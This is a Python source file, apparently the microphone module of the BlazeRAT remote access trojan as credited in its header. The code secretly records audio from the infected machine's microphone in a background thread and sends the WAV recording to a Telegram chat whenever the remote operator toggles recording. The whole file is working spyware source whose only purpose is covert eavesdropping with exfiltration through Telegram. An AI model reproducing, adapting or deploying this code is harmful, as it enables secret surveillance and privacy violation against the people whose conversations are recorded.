microphone.py 2.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from io import BytesIO
  5. from core.logger import Log
  6. from threading import Thread
  7. from wave import open as wave_open # pip3 install wave
  8. from pyaudio import paInt16, PyAudio # pip3 install pyaudio
  9. from core.messages import services as Messages
  10. """
  11. Author : LimerBoy
  12. github.com/LimerBoy/BlazeRAT
  13. Notes :
  14. The file is needed
  15. to record audio from a microphone
  16. """
  17. # Settings
  18. FORMAT = paInt16
  19. CHUNK = 1024
  20. CHANNELS = 2
  21. RATE = 44100
  22. # Global variables
  23. global r, p, t, stream, frames
  24. r, p, t, stream, frames = False, None, None, None, []
  25. """ Record voice from microphone """
  26. def _RecordMicrophone():
  27. # Initialize
  28. global r, p, stream, frames
  29. frames = []
  30. r = True
  31. p = PyAudio()
  32. stream = p.open(format=FORMAT,
  33. channels=CHANNELS,
  34. rate=RATE,
  35. input=True,
  36. frames_per_buffer=CHUNK)
  37. # Record microphone
  38. while r:
  39. data = stream.read(CHUNK)
  40. frames.append(data)
  41. stream.stop_stream()
  42. stream.close()
  43. p.terminate()
  44. """ Asynchronously record voice from microphone """
  45. def _StartAsync():
  46. global r, t
  47. if r: return False
  48. try:
  49. t = Thread(target=_RecordMicrophone)
  50. t.start()
  51. except Exception as error:
  52. print(error)
  53. r = False
  54. else:
  55. return True
  56. """ Stop recording """
  57. def _Stop() -> bytes:
  58. global r, p, t, stream, frames
  59. if not r: return False
  60. r = False
  61. t.join()
  62. # Write to memory
  63. obj = BytesIO()
  64. wf = wave_open(obj, "wb")
  65. wf.setnchannels(CHANNELS)
  66. wf.setsampwidth(p.get_sample_size(FORMAT))
  67. wf.setframerate(RATE)
  68. wf.writeframes(b''.join(frames))
  69. wf.close()
  70. return obj.getvalue()
  71. """ Handle telegram command """
  72. def Handle(callback: dict, bot) -> None:
  73. text = callback.data
  74. chatid = callback.from_user.id
  75. # Start microphone recording
  76. if "Enable" in text:
  77. # Start voice recording
  78. voice = _StartAsync()
  79. if voice != False:
  80. Log(f"Microphone >> Start voice recording", chatid)
  81. bot.send_message(chatid, Messages.microphone_recording_started)
  82. bot.send_chat_action(chatid, "record_audio")
  83. # Send error message if recording already started
  84. else:
  85. bot.send_message(chatid, Messages.microphone_recording_not_stopped)
  86. # Stop microphone recording
  87. elif "Disable" in text:
  88. # Send recorded voice message
  89. voice = _Stop()
  90. if voice != False:
  91. Log(f"Microphone >> Stop voice recording", chatid)
  92. bot.send_chat_action(chatid, "upload_audio")
  93. bot.send_voice(
  94. chat_id=chatid, voice=voice,
  95. reply_to_message_id=callback.message.message_id,
  96. caption=Messages.microphone_recording_stopped
  97. )
  98. # Send error message if recording not started
  99. else:
  100. bot.send_message(chatid, Messages.microphone_recording_not_started)